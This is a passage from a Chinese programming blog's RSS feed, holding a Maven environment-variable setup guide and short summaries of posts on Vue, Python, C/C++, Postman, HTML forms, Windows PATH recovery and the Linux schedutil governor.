Download&#xA;点击官方下载,可以跳转到官方的下载地址。&#xA;接下来我们找到Files进行下载，&#xA;因为它是开源的，所以如果需要源码的看有Source的，同时windows系统的使用有zip的&#xA;这里我使用不带源的zip；如图&#xA;如图就是在下载了，可能会有点慢，是正常现象。&#xA;下载完，右键文件，选择在文件夹显示，将压缩包剪切到自己存放软件的地方解压，注意！！！！目录中不能出现中文或者特殊符号，尽量不要存放在c盘，因为c盘是系统盘，东西多了系统会卡。&#xA;如图：&#xA;我在d:盘中建了一个文件夹Maven；&#xA;路径就是:D:\Maven&#xA;现在下载完了，接下来我们来配置maven的环境变量;&#xA;右键此电脑(此处注意！！！不是此电脑的快捷方式！！！如图，快捷方式会有一个小箭头)&#xA;点击属性，你会看到一个高级系统设置(如果没有可以百度查找一下自己的电脑的高级系统设置在哪，这里我有俩种情况的图)&#xA;打开后会弹出系统属性的弹出框;&#xA;在高级选项卡中点击环境变量；&#xA;开始配置环境,&#xA;如果以前有配过，那么双击M2_HOME开始修改，没有的话如图：&#xA;直接新建一个M2_HOME注意空格以及下划线！&#xA;变量值就是你刚刚解压的apache-maven-3.8.5的路径&#xA;如图&#xA;路径一定要正确，然后点确定，这个M2_HOME就行了；&#xA;在配置一个MAVEN_HOME，变量值和刚才的一样&#xA;如图：&#xA;把这个也弄好后重点来了！！！&#xA;找到Path&#xA;双击开始修改，&#xA;这里分支又来了，有的人因为版本问题页面效果会和我这种不一样,&#xA;如图这是我的图1：&#xA;这是另一种图2:&#xA;如果你的是图2的请先在桌面新建一个text记事本，打开记事本把你的变量值原本的内容复制到记事本中，如图&#xA;注意结尾是否有英文的分号结尾&#34;;&#34;如果没有请加上英文的分号结尾一定要注意！！！要英文的！！！&#xA;打上分号后拼接上：%MAVEN_HOME%\bin;%M2_HOME%\bin;&#xA;如图：&#xA;然后Ctrl+a选中全部，Ctrl+c复制,切回到编辑系统属性来把之前的变量值覆盖掉（双击变量值内容选中然后Ctrl+v）。&#xA;然后点击确定就好了&#xA;现在来讲图1的&#xA;点击图1右边的新建在光标闪烁处输入：%MAVEN_HOME%\bin&#xA;如图：&#xA;再点击一次新建和上面一样在光标闪烁处输入：%M2_HOME%\bin&#xA;注意！！！！此时不用也不能打分号！&#xA;两个都加上后点击右下角的确定就行&#xA;Maven的环境变量配置就完成了。&#xA;接下来我们验证一下,&#xA;在Windows系统自带的命令提示符也就是黑窗口，右键以管理员身份运行输入：mvn -version 出现我这种就是没问题了,如果你弄好了来黑窗口验证没有有可能是你配合后没有点击应用导致的，可以一个一个点击确定然后关闭，然后把黑窗口关闭重新打开避免没有加载。如果还是没有的话你又相信你没有错，那么建议你重启电脑试试，还是没有的话那么就是你中途不小心没弄好。请重新配置O(∩_∩)O哈哈~&#xA;别以为没有了哦！目前只是能用还没有弄完呢！&#xA;打开Maven目录下的conf文件夹&#xA;如图：&#xA;打开settings.xml(建议使用高级记事本打开)&#xA;将第53行原本注释未使用的代码复制到下面进行使用&#xA;如图：&#xA;然后把复制出来的代码中间的内容换成你的个人仓库路径（专门用来放jar包的文件夹），&#xA;注意把\切换成/！！&#xA;如图：</description>
    </item>
    <item>
      <title>STATA：面板数据滞后需要注意（同一家企业滞后出现空缺数据的原因）</title>
      <link>https://bchobby.github.io/posts/7669b3337f8bfdc953985f48f372e86a/</link>
      <pubDate>Sat, 19 Mar 2022 16:29:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7669b3337f8bfdc953985f48f372e86a/</guid>
      <description>首先按照样本个体和时间设定成面板数据。&#xA;那么在滞后命令后：gen interlnNPLDAge1=L.interlnNPLDAge (4,487 missing values generated)&#xA;gen interlnNPLDAge2=L2.interlnNPLDAge (7,557 missing values generated)&#xA;结果发现在样本4的7个年份里（序号15-21）竟然有空缺数据（序号19），见下图。前三列分别是原数据、滞后一阶、滞后两阶数据。&#xA;结果发现:样本4的时间不连续，因此系统这样做是对的。</description>
    </item>
    <item>
      <title>Vue-ondurationchange(监听歌曲是否已经加载完成)</title>
      <link>https://bchobby.github.io/posts/d53ab0dd29b39ba3dff554a283d32cb4/</link>
      <pubDate>Sat, 19 Mar 2022 15:01:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d53ab0dd29b39ba3dff554a283d32cb4/</guid>
      <description> 详情可见&#xA;问题：切换歌曲的时候歌曲时间有时候不会修改为正确的时间，那是因为歌曲还未加载完成，只有歌曲加载完成之后才能获取到歌曲的总时长 注意点: 在iOS中系统不会自动加载歌曲, 所以oncanplay不会自动执行 解决方案: 如何监听iOS中Audio的歌曲是否已经准备好了, 通过ondurationchange事件来监听 ondurationchange事件什么时候执行: 当歌曲加载完成之后执行, 因为只有歌曲加载完成之后才能获取到歌曲的总时长 watch&#xA;watch:{ currentIndex () { //歌曲加载完成后才会执行 this.$refs.audio.ondurationchange = () =&amp;gt; { //获得歌曲时间 this.totalTime = this.$refs.audio.duration //如果正在播放则切换到下一首继续播放 暂停则下一首暂停 if (this.isPlaying) { this.$refs.audio.play() } else { this.$refs.audio.pause() } } } } </description>
    </item>
    <item>
      <title>基于seed和deap数据的脑电情绪识别的相关整理</title>
      <link>https://bchobby.github.io/posts/282aa2a7f9bd299bff0c847be6b7096c/</link>
      <pubDate>Sat, 19 Mar 2022 12:18:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/282aa2a7f9bd299bff0c847be6b7096c/</guid>
      <description>代码篇 整理好了之前用过的关于做脑电情绪识别的所用到的，代码均已成功调试运行，其中细节部分看各篇博客，：&#xA;DEAP：&#xA;SEED:&#xA;脑电信号处理，脑电情绪识别，包括deap和seed数据集，大部分都是代码加数据，deap有三篇带论文的源码，seed有两篇带论文的源码。&#xA;最好是看有代码有论文的，一起对应着理解 seed数据集和相关代码链接：seed数据集及相关代码https://download.csdn.net/download/qq_45874683/84367142</description>
    </item>
    <item>
      <title>python 万年历 以1800年开始</title>
      <link>https://bchobby.github.io/posts/93b004a0adf8647cce36abd2d7cfd486/</link>
      <pubDate>Sat, 19 Mar 2022 11:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93b004a0adf8647cce36abd2d7cfd486/</guid>
      <description>直接上代码，比较简单懒得写注释了&#xA;def is_leap_year(year): if(year%4==0 and year%100!=0) or (year%400==0): return 1 else: return 0 def get_num_of_day_in_month(year,month): if month==2: if is_leap_year(year): days=29 else: days=28 elif month in[4,6,9,11]: days=30 else: days=31 return days def get_total_num_of_day(year, month): yearday = 0 for i in range(1800, year): if is_leap_year(i): yearday += 366 else: yearday += 365 for i in range(1, month): yearday += get_num_of_day_in_month(year, i) return yearday def print_information_title(year,month): if year &amp;lt; 1800 : print(&#34;小于1800，请重新输入一个年份&#34;) return False else: print((str(year)+&#34;</description>
    </item>
    <item>
      <title>求最大值及其下标</title>
      <link>https://bchobby.github.io/posts/ec6a02721226071560eeec896e9c6516/</link>
      <pubDate>Sat, 19 Mar 2022 11:11:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec6a02721226071560eeec896e9c6516/</guid>
      <description> 本题要求编写程序，找出给定的n个数中的最大值及其对应的最小下标（下标从0开始）。&#xA;输入格式: 输入在第一行中给出一个正整数n（1&amp;lt;n≤10）。第二行输入n个整数，用空格分开。&#xA;输出格式: 在一行中输出最大值及最大值的最小下标，中间用一个空格分开。&#xA;输入样例: 6 2 8 10 1 9 10 输出样例: 10 2 //求最大值及其下标 int main() { int N = 0; int arr[10] = { 0 }; int max = arr[0]; int index = 0; scanf(&#34;%d&#34;, &amp;amp;N); for (int i = 0; i &amp;lt; N; i++) { scanf(&#34;%d&#34;, &amp;amp;arr[i]); if (max &amp;lt; arr[i]) { max = arr[i]; index = i; } } printf(&#34;%d %d&#34;, max, index); return 0; } </description>
    </item>
    <item>
      <title>Postman提取返回值</title>
      <link>https://bchobby.github.io/posts/820cbd8442b5686f50778b0980ab4d61/</link>
      <pubDate>Sat, 19 Mar 2022 10:51:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/820cbd8442b5686f50778b0980ab4d61/</guid>
      <description>本文转载于：Postman提取返回值 - janehost - 博客园 (cnblogs.com)https://www.cnblogs.com/LOVEYU/p/11118627.html&#xA;json响应结果 Postman是做接口测试的，但是很多接口并不是直接就能测试的，需要一些预处理。比如登录的时候，需要传递一个token。如果是网页测试，一般打开登录页面的时候就会自动生成一个token，如果返回的是json格式，用Postman从中提取值很简单的，在Test中输入：&#xA;{ &#34;access_token&#34;: &#34;dda7b55f-574d-4de6-9f62-d849d5894ba9&#34;, &#34;token_type&#34;: &#34;bearer&#34;, &#34;refresh_token&#34;: &#34;1da3f4fb-dbf7-40d6-9316-32916f4c0d03&#34;, &#34;expires_in&#34;: 3599, &#34;scope&#34;: &#34;READ WRITE&#34; } 如上要提取access_token的值，在Test中输入：&#xA;//保存响应结果json&#xA;var jsonData = JSON.parse(responseBody);&#xA;//将响应结果中的access_token保存为全局变量hb_access_token //最新版本pm环境变量设置使用方法&#xA;pm.globals.set(&#34;hb_access_token&#34;,jsonData.access_token);&#xA;上面的响应结果是json格式，如果响应结果是text格式的如何获取返回值呢？&#xA;text响应结果 案例1&#xA;VZISsIhsksx3lHKksBE68sJ8NFlzZWNyZXRJZD1BS0lEbXRoeUxFNFFXMDVXWEhqNFN5RjBEdkpBbElPeHFyY3cmY3VycmVudFRpbWVTdGFtcD0xNTYxOTc5MTMzJmV4cGlyZVRpbWU9MTU2MjE1MTkzMyZyYW5kb209MzQ0MjkwOTEyJnByb2NlZHVyZT1oYi1tcDQtMjA= 如果是这种响应结果，那么获取响应值如下：&#xA;pm.globals.set(&#34;hb_sign&#34;,pm.response.text())&#xA;如果响应的结果是html格式，那么怎么获取其中需要的value呢？&#xA;案列2&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;zh&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;Redmine&amp;lt;/title&amp;gt; &amp;lt;meta name=&#34;description&#34; content=&#34;Redmine&#34; /&amp;gt; &amp;lt;meta name=&#34;keywords&#34; content=&#34;issue,bug,tracker&#34; /&amp;gt; &amp;lt;meta name=&#34;csrf-param&#34; content=&#34;authenticity_token&#34; /&amp;gt; &amp;lt;meta name=&#34;csrf-token&#34; content=&#34;UhYn8Ww03yLd1hNoliKSmU5uUZO33AmuxH+NQEqD3r2YCCdC64pmgmWOQNjyoAoki9MRJLosWAC0RX20+Th+gA==&#34; /&amp;gt; &amp;lt;link rel=&#39;shortcut icon&#39; href=&#39;https://bchobby.github.io/redmine/favicon.ico&#39; /&amp;gt; &amp;lt;link rel=&#34;</description>
    </item>
    <item>
      <title>使用HTML创建表单</title>
      <link>https://bchobby.github.io/posts/55307e2af5e368eb9ec2848b19e09212/</link>
      <pubDate>Fri, 18 Mar 2022 20:22:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55307e2af5e368eb9ec2848b19e09212/</guid>
      <description> &amp;lt;form&amp;gt;&amp;lt;/form&amp;gt;标记被用于定义表单域，即创建一个表单。action、method、name为表单标记&amp;lt;form&amp;gt;的常用属性。&#xA;action属性用于指定接收并处理表单数据的服务程序的。&#xA;method属性用于设置表单数据的提交方式，其取值为get或post。&#xA;name属性用于指定表单的名称，以区分一个页面中的多个表单。&#xA;autocomplete属性用于指定是否自动完成功能。“自动完成”是指表单控件输入的内容记录下来，当再次输入时，会将输入的历史记录显示在一个下拉列表里，以实现自动完成输入的功能。该属性有2个值：&#xA;on;表单有自动完成功能。&#xA;off：表单无自动完成功能。&#xA;input元素拥有多种输入类型即相关的属性，其常用的属性如下表：&#xA;属性属性值描述typetext单行文本输入框password密码输入框checkbox复选框button普通按钮radio单选按钮submit提交按钮reset重置按钮image图像形式的提交按钮hidden隐藏域file文件域emailE-mail地址的输入域urlURL地址输入域number数值的输入域range一定范围内数字值的输入域date、month、week、time、datetime、datetime-local日期和时间的输入类型search搜索域color颜色输入类型tel电话号码输入类型name由用户自定义控件的名称value由用户自定义input控件中的默认文本值size正整数input控件在页面中显示宽度readonlyreadonly该控件内容为只读（不能编辑修改）disableddisabled加载页面时禁用该控件（显示为灰色）checkedchecked 定义选择控件默认被选中的项&#xA;maxlength正整数控件允许输入的最多字符数autocompleteon/off设定是否自动完成表单字段内容autofocusautofocus指定页面加载后是否自动获取焦点formform元素的id设定字段隶属于哪一个或哪几个表单listdatalist元素的id指定字段的候选数据值列表multiplemultiple指定输入框是否可以选择多个值min、max和step数值指定输入框索允许的最大值、最小值及间隔pattem字符串验证输入的内容是否与定义的正则表达式匹配placeholder字符串为input类型的输入框提供一种提示requiredrequired规定输入框填写的内容不能为空 number类型的input元素用于提供输入数值的文本框。具体属性有四个：&#xA;1、value：指定输入框的默认值。&#xA;2、max：指定输入框可以接受的最大的输入值。&#xA;3、min：指定输入框可以接受的最小的输入值。&#xA;4、step：输入域合法的间隔，如果不设置，默认值是1.list&#xA;Date Pickers类型是指时间日期类型，HTML5中提供了多个可供选取日和时间的输入类型。&#xA;时间和日期类型时间和日期类型说明date选取日、月、年month选取月、年week选取周和年time选取时间（小时和分钟）datetime选取时间、日、月、年（UTC时间）datetime-local选取时间、日、月、年（本地时间） list属性用于设置数据列表，它可以指定输入框所绑定的datalist元素。list属性的值是某个datalist元素的id。&#xA;multiple属性指定输入框可以选择多个值，multiple属性用于file类型的input元素时表示可以选择多个文件。&#xA;placeholder属性用于为input类型的输入框提示相关信息以描述此输入框期待用户输入何种内容。&#xA;placeholder属性适用于type属性值为text、search、url、tel、email及password的标记。&#xA;required属性用于规定输入框填写的内容不能为空，否则不允许用户提交表单。&#xA;textarea元素：当定义input控件的type属性值为text时，可以创建一个单行文本输入框。但是如果需要输入大量的信息，单行文本输入框就不在适用，为此HTML5提供了textarea标记，通过其可以轻松地创建多行文本框。cols和rows为textarea标记的必须属性，其中cols用来定义多行文本输入框每行中的字符数，rows用来定义多行文本输入框显示行数，它们的取值均为正整数。textarea元素除了cols和rows属性外，还能拥有几个可选属性，分别为disabled、name和readonly&#xA;属性属性值描述name有用户定义控件的名称readonlyreadonly该控件内容为只读（不能编辑修改）disableddisabled加载页面时禁用该控件（显示为灰色） datalist元素定义输入框的选项列表，列表通过datalist内的option元素进行创建。datalist元素通常与input元素配合使用来定义input控件的取值。&#xA;Keygen元素用于设置表单的密钥生成器，能够使用户验证更为安全可靠。&#xA;keygen属性说明autofocus使Keygen字段在页面加载是获得焦点challenge如果使用则将Keygen的值设置为在提交时询问disabled禁用Keygen字段form定义该Keygen字段所属的一个或多个表单Keygen定义Keygen。rsa用于生成PSA密钥name定义Keygen元素的唯一名称，用于在用户提交表单时搜集字段的值 output元素用于不同类型的输出，可以在浏览器中显示计算结果或脚本输出。常有的属性有三个如下表：&#xA;属性 说明&#xA;for定义输出域相关的一个或多个元素form定义输出字段所属的一个或多个表单name定义对象的唯一名称 </description>
    </item>
    <item>
      <title>从注册表恢复PATH环境变量</title>
      <link>https://bchobby.github.io/posts/3bb12da3256bfdba768b3f1a78bedc14/</link>
      <pubDate>Fri, 18 Mar 2022 17:25:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bb12da3256bfdba768b3f1a78bedc14/</guid>
      <description>文章目录 问题定位解决方案从注册表找到备份 以绝后患 问题定位 昨天新装了个排版软件CTex，今天偷闲下来准备摸摸鱼，发现Windows Terminal都打不开了。&#xA;不仅如此，自己写的小工具也问题频发，顿觉不妙。&#xA;于是打开cmd测试了一下netsh等命令也报错，然后马上定位是不是Path环境变量出了问题。&#xA;打开path一看，果然！原有的环境变量全被CTEX这一堆给覆盖了(是不是恶意删除不好说)。&#xA;解决方案 从注册表找到备份 打开注册表cmd&amp;gt; regedit&#xA;定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\path项&#xA;可以看到(默认)值即为我们丢失前的path环境变量&#xA;直接将第3步的值复制到Environment的Path即可快速恢复&#xA;补充：如果碰到几个环境变量挤在同一行的情况，按分号依次拆分即可。&#xA;否则可能报错 以绝后患 至此，环境变量恢复完成，又可以快乐coding了。&#xA;为了防止CTEX又给我搞事情，连夜卸载，以绝后患&#xA;顺便推荐一个CTEX的替代品：overleaf，免安装在线使用，再也不用担心本地环境出问题了。</description>
    </item>
    <item>
      <title>js运算精度丢失问题</title>
      <link>https://bchobby.github.io/posts/5e5c9bd0e4a7e512ef6809db0038c340/</link>
      <pubDate>Fri, 18 Mar 2022 17:21:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e5c9bd0e4a7e512ef6809db0038c340/</guid>
      <description>js运算精度丢失问题 正常情况下0.0023 * 100 = 0.23，但js运算会出现下面这种精度丢失问题：&#xA;0.0023 - 0.00000011 ==&amp;gt; 0.0022998899999999997 0.0023 + 0.00000000000001 ==&amp;gt; 0.0023000000000099998 0.0023 * 100 ==&amp;gt; 0.22999999999999998 0.0023 / 0.00001 ==&amp;gt; 229.99999999999997 实际打印结果：&#xA;取余也同样存在精度丢失问题：&#xA;下面直接参考别人写的方法：【中间处理了一些问题，文章最后有整理优化后的运算方法 + 取余的精度方法】&#xA;// 加 function floatAdd(arg1, arg2) { var r1, r2, m; try { r1 = arg1.toString().split(&#34;.&#34;)[1].length; } catch (e) { r1 = 0; } try { r2 = arg2.toString().split(&#34;.&#34;)[1].length; } catch (e) { r2 = 0; } m = Math.</description>
    </item>
    <item>
      <title>vue路由传参的两种方式,实现返回上个页面不刷新</title>
      <link>https://bchobby.github.io/posts/7ac51a73d86e33b8d8dc6096b9cd2dd3/</link>
      <pubDate>Fri, 18 Mar 2022 17:20:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ac51a73d86e33b8d8dc6096b9cd2dd3/</guid>
      <description>我的项目是当在新增页面(下面叫A页面)先提交一些数据,然后跳转到下一个页面(下面叫B页面)再填写数据,然后返回到新增的页面&#xA;之前我直接跳转回B页面goback(),这样的话跳转回来A页面就什么数据都没有了&#xA;解决方法有两种,一种是在地址栏里面拿参数&#xA;this.$router.push({ name:&#39;xxxxxxxxx&#39;, // 跳转的页面名称 params:{ id:this.id || &#34;xxxxxxxxxx&#34; } }) 在B页面拿取&#xA;this.$route.params.id 然后在B页面再把ID传回之前A的页面&#xA;this.$router.replace({ name: &#34;supervision-member-editor&#34;, params: { id: this.groupId } }) 第二种是$roure官方文档提供的方法&#xA;https://router.vuejs.org/zh/guide/essentials/passing-props.html#%E5%B8%83%E5%B0%94%E6%A8%A1%E5%BC%8F&#xA;1,在A页面传参&#xA;this.$router.push({ name: &#34;supervision-member-createPerson&#34;, params: { groupId: this.groupId || this.id //groupId类似于row.id } }) }, 2,在路由文件里面接收传值&#xA;ps:要传的ID啥的一定要在地址栏定义数据并且带过去&#xA;3,在B页面接收传值&#xA;props: { id: { type: String, default: &#34;&#34; }, groupId: { type: String, default: &#34;&#34; } }, 4,在B页面传值回去&#xA;goBack() { this.$router.replace({ name: &#34;supervision-member-editor&#34;, params: { id: this.</description>
    </item>
    <item>
      <title>Schedutil governor情景分析</title>
      <link>https://bchobby.github.io/posts/0d125f054507122b824aaf754398e5e9/</link>
      <pubDate>Fri, 18 Mar 2022 17:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d125f054507122b824aaf754398e5e9/</guid>
      <description>前言&#xA;内核工匠在之前的几篇文章中已经详细介绍了CPU的调频子系统的软件框架，本文把重点放在了schedutil governor（后文称之sugov）的代码逻辑。通过详细的代码级别的分析，希望能够帮助读者理解sugov的代码精妙之处。本文主要分四个章节：第一章简单重复了sugov相关的软件结构和基本算法，让读者对整个sugov在系统所处的位置和基本的逻辑控制有所了解。第二章对sugov使用的数据结构给出了详细的解释。第三章对sugov和cpufreq core的基本数据流和控制流进行分析。第四章描述了sugov本身的调频逻辑。&#xA;本文出现的内核代码来自Linux5.10.61，为了减少篇幅，我们会引用缩减版本的代码（仅包含主要逻辑），如果有兴趣，读者可以配合原始代码阅读本文。&#xA;一、Sugov概述&#xA;1、sugov相关软件模块&#xA;Sugov在整个调频软件的位置如下所示：&#xA;Sugov作为一种内核调频策略模块，它主要是根据当前CPU的利用率进行调频。因此，sugov会注册一个callback函数（sugov_update_shared/sugov_update_single）到调度器负载跟踪模块，当CPU util发生变化的时候就会调用该callback函数，检查一下当前CPU频率是否和当前的CPU util匹配，如果不匹配，那么就进行提频或者降频。&#xA;为了适配各种场景，sugov还提供了可调参数，用户空间可以检测当前的场景，并根据不同的场景设定不同的参数，以便满足用户性能/功耗的需求。&#xA;Sugov选定target frequency之后，需要通过cpufreq core（cpufreq framework）、cpufreq driver，cpu调频硬件完成频率的调整。cpufreq core是一个硬件无关的调频框架，集中管理了cpufreq governor、cpufreq driver、cpufreq device对象，同时提供了简单方便使用的接口API，让工程师很轻松的就能完成特定governor或者driver的撰写。&#xA;2、Sugov的基本算法描述&#xA;Sugov的基本算法如下：&#xA;和基于采样的governor不同的是sugov是基于调度器调度事件的。每当发生调度事件的时候，负载跟踪模块会及时更新各个level的调度实体和cfs_rq的平均调度负载（sched_avg），直到顶层cfs rq（即CPU的平均调度负载）。&#xA;每当CPU利用率发生变化的时候，调度器都会调用cpufreq_update_util通知sugov，由sugov判断是否需要进行调频操作。基于采样的governor是governor定期去采样负载信息，而sugov是调度事件（进程切换、入队、出队、tick等）驱动调频的，因此调频会更及时。具体驱动调频的时机包括：&#xA;（1）实时线程（rt或者deadline）的入队出队&#xA;（2）Cpu上的cfs util发生变化&#xA;（3）处于Iowait的任务被唤醒&#xA;调度事件的发生还是非常密集的，特别是在重载的情况下，很多任务可能执行若干个us就切换出去了。如果每次都计算CPU util看看是否需要调整频率，那么本身sugov就给系统带来较重的负荷，因此并非每次调频时机都会真正执行调频检查，sugov设置了一个最小调频间隔，小于这个间隔的调频请求会被过滤掉。当然，这个最小调频间隔规定也不是永远强制执行，在特定情况下（例如cpufreq core修改了sugov可以动态调整的范围的时候），调频间隔判断可以略过。&#xA;由于调频的最小粒度是cluster，当一个cpu上的util发生变化而发起调频操作的时候，实际上sugov会遍历cluster中的所有CPU（如果cluster中只有一个cpu，那么不需要这么复杂，我们这里以cluster中包含多个cpu的sugov_update_shared场景为例来进行说明），找到util最大的那个，用这个最大的util来驱动调频。&#xA;在计算cpu util要从多个视角考量：&#xA;（1）cfs、rt、dl、irq的load avg。这些都是从执行时间的视角来看util，由于PELT窗口是同步的，因此这些load avg可以对比和运算&#xA;（2）任务属性视角。对于deadline类型的任务，我们需要根据当前dl任务的参数来计算满足该任务deadline的最小utility。&#xA;找到cluster中最大的cpu utility之后，通过将其映射到一个具体的CPU frequency上来（具体参考map_util_freq函数）。目前sugov采用的映射公式如下：&#xA;next_freq = C *max_freq * util / max&#xA;其中C = 1.25，表示CPU需要调整的next freq需要提供1.25倍的算力，这样CPU在next freq上运行当前的任务还有20%的算力余量。这里计算出来的next_freq未必是最终设定的频率，因为底层硬件支持的调频是一系列的档位频率，因此，还需要底层硬件驱动进一步根据next_freq来选择一个它支持的频率，最后设定下去。&#xA;二、sugov使用的数据结构&#xA;1、structsugov_tunables&#xA;这个数据结构用来描述sugov的可调参数：&#xA;2、structsugov_cpu&#xA;Sugov为每一个cpu构建了该数据结构，记录per-cpu的调频数据信息：&#xA;3、structsugov_policy&#xA;Sugov为每一个cluster构建了该数据结构，记录per-cluster的调频数据信息：&#xA;三、Sugov和cpufreq core之间的接口和流程分析&#xA;1、Sugov的注册&#xA;如果想要自己实现一个cpufreq governor，那么就需要定义一个struct cpufreq_governor的数据对象并向cpufreq framwork（或者叫cpufreq core）系统注册它。对于sugov而言，这个数据对象定义如下：</description>
    </item>
    <item>
      <title>C&#43;&#43;之装饰(decorator)模式</title>
      <link>https://bchobby.github.io/posts/2b58b326fa55d275c59a6c39bafcfd8f/</link>
      <pubDate>Fri, 18 Mar 2022 16:47:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b58b326fa55d275c59a6c39bafcfd8f/</guid>
      <description>0. 简介 很多时候我们在接手代码的时候会发现很多时候我们需要在原本基础的类中加入一些功能，或者要调用多个类来组合成一个新类来工作。这时候我们需要使用装饰或者适配器模式来对整个结构去聚合或者多重继承出自己想要的类型。装饰模式是一种结构型设计模式，其可以动态的为一个类增加职责（相对于继承）。&#xA;1装饰模式 部件 （Component） 声明封装器和被封装对象的公用接口。具体部件 （Concrete Component） 类是被封装对象所属的类。 它定义了基础行为， 但装饰类可以改变这些行为。基础装饰 （Base Decorator） 类拥有一个指向被封装对象的引用成员变量。 该变量的类型应当被声明为通用部件接口， 这样它就可以引用具体的部件和装饰。 装饰基类会将所有操作委派给被封装的对象。具体装饰类 （Concrete Decorators） 定义了可动态添加到部件的额外行为。 具体装饰类会重写装饰基类的方法， 并在调用父类方法之前或之后进行额外的行为。客户端 （Client） 可以使用多层装饰来封装部件， 只要它能使用通用接口与所有对象互动即可。 2. 装饰模式示例 装饰模式和生成器模式类似，都没有一个合适的template模板类来便捷的导入，这里我们可以看一下这篇文章中的代码。来感受一下装饰模式的魅力。&#xA;#include &#34;iostream&#34; using namespace std; // 部件 class Component_CS { public: virtual ~Component_CS() {} //const表示this是一个指向常量的指针，=0表示这个成员函数是纯虚函数 // https://blog.csdn.net/weixin_45525272/article/details/105840562 virtual void fire() const = 0; }; // 具体部件 class ConcreteComponent_CS { public : ConcreteComponent_CS(){} virtual ~ConcreteComponent_CS(){} virtual void fire() const { cout&amp;lt;&amp;lt;&#34;反恐精英：&#34;&amp;lt;&amp;lt;endl; } // void fire() const override // { // cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>*与&#43;&#43;优先级问题</title>
      <link>https://bchobby.github.io/posts/e1efa706aa146b84810902f887995030/</link>
      <pubDate>Fri, 18 Mar 2022 10:31:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1efa706aa146b84810902f887995030/</guid>
      <description> 优先级：&#xA;前置 ++ 和 * 的优先级相同，从右向左进行运算。&#xA;后置 ++ 比 * 的优先级高，从左到右进行计算，但是后置++还是需要等到表达式运算结束后才++。&#xA;各种++和*&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; int main() { int arrays[]{12,34,32,69,43}; int * p=arrays; //从右向左进行，先++，再取值，就是34 cout&amp;lt;&amp;lt;&#34;*++p: &#34;&amp;lt;&amp;lt;*++p&amp;lt;&amp;lt;endl; //从右向左进行，先取值，再++，就是将arrays[1]变成35 cout&amp;lt;&amp;lt;&#34;++*p: &#34;&amp;lt;&amp;lt;++*p&amp;lt;&amp;lt;endl; //后置++优先级高但是要表达式结束后再++，就是先取值再++ //由于优先级的作用，这里++不是对取值之后的*p,而是对p进行++，指针下移 cout&amp;lt;&amp;lt;&#34;*p++: &#34;&amp;lt;&amp;lt;*p++&amp;lt;&amp;lt;endl; //和上面的那个式子一样，就是先取值，再++指针下移, cout&amp;lt;&amp;lt;&#34;*(p++): &#34;&amp;lt;&amp;lt;*(p++)&amp;lt;&amp;lt;endl; //括号括住的优先级最高，先取值再++，将array[3]变成70，但是输出结果还是69 cout&amp;lt;&amp;lt;&#34;(*p)++: &#34;&amp;lt;&amp;lt;(*p)++&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;*p:&#34;&amp;lt;&amp;lt;*p&amp;lt;&amp;lt;endl; return 0; } 输出：&#xA;*++p: 34 ++*p: 35 *p++: 35 *(p++): 32 (*p)++: 69 *p:70 </description>
    </item>
    <item>
      <title>vue3 form 报错: please transfer a valid name path to form item</title>
      <link>https://bchobby.github.io/posts/a0b46582cca482f6cdffb19aaee3de80/</link>
      <pubDate>Thu, 17 Mar 2022 16:46:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0b46582cca482f6cdffb19aaee3de80/</guid>
      <description>最近vue3着实很火，但很多伙伴在用的时候发现很多坑，比如说上面这个报错&#xA;please transfer a valid name path to form item! 为什么会出现这个问题呢，我是在使用antd的动态增减表单（循环）的时候报了这个错误，搞了很久才找到根本原因。&#xA;原因：你的formItem的name属性没有和数据输入（input）框关联起来，导致表单规则校验一直报错&#xA;解决方法：&#xA;因为出现这种场景很多，所以这里提供几个注意事项，大家可以依次检查一下。&#xA;1.检查formItem的name属性名称是否和输入框value值一致&#xA;&amp;lt;a-form-item&#xA;label=&#34;Username&#34;&#xA;name=&#34;username&#34;&#xA;:rules=&#34;[{ required: true, message: &#39;Please input your username!&#39; }]&#34;&#xA;&amp;gt;&#xA;&amp;lt;a-input v-model:value=&#34;formState.username&#34; /&amp;gt;&#xA;&amp;lt;/a-form-item&amp;gt;&#xA;2.再循环中使用form时，name规则如下：（注意一下相同颜色部分一定要对应）,要不然构建的dom树不能对应起来&#xA;&amp;lt;a-form&#xA;ref=&#34;formRef&#34;&#xA;:model=&#34;dynamicValidateForm&#34;&#xA;@finish=&#34;onFinish&#34;&#xA;&amp;gt;&#xA;&amp;lt;a-space&#xA;v-for=&#34;(user, index) in dynamicValidateForm.users&#34;&#xA;:key=&#34;user.id&#34;&#xA;align=&#34;baseline&#34;&#xA;&amp;gt;&#xA;&amp;lt;a-form-item&#xA;:name=&#34;[&#39;users&#39;, index, &#39;first&#39;]&#34;&#xA;:rules=&#34;{ required: true, message: &#39;Missing first name&#39; }&#34;&#xA;&amp;gt;&#xA;&amp;lt;a-input v-model:value=&#34;user.first&#34; placeholder=&#34;First Name&#34; /&amp;gt;&#xA;&amp;lt;/a-form-item&amp;gt;&#xA;&amp;lt;/a-space&amp;gt;&#xA;&amp;lt;/a-form&amp;gt;&#xA;总结： 由于antd-vue有些属性注释不全，可能会碰到一些难缠的，所以这里记录一下</description>
    </item>
    <item>
      <title>Spring Boot学习笔记总结(一)</title>
      <link>https://bchobby.github.io/posts/0fa3b033886f27c31eb4f1a1247a281f/</link>
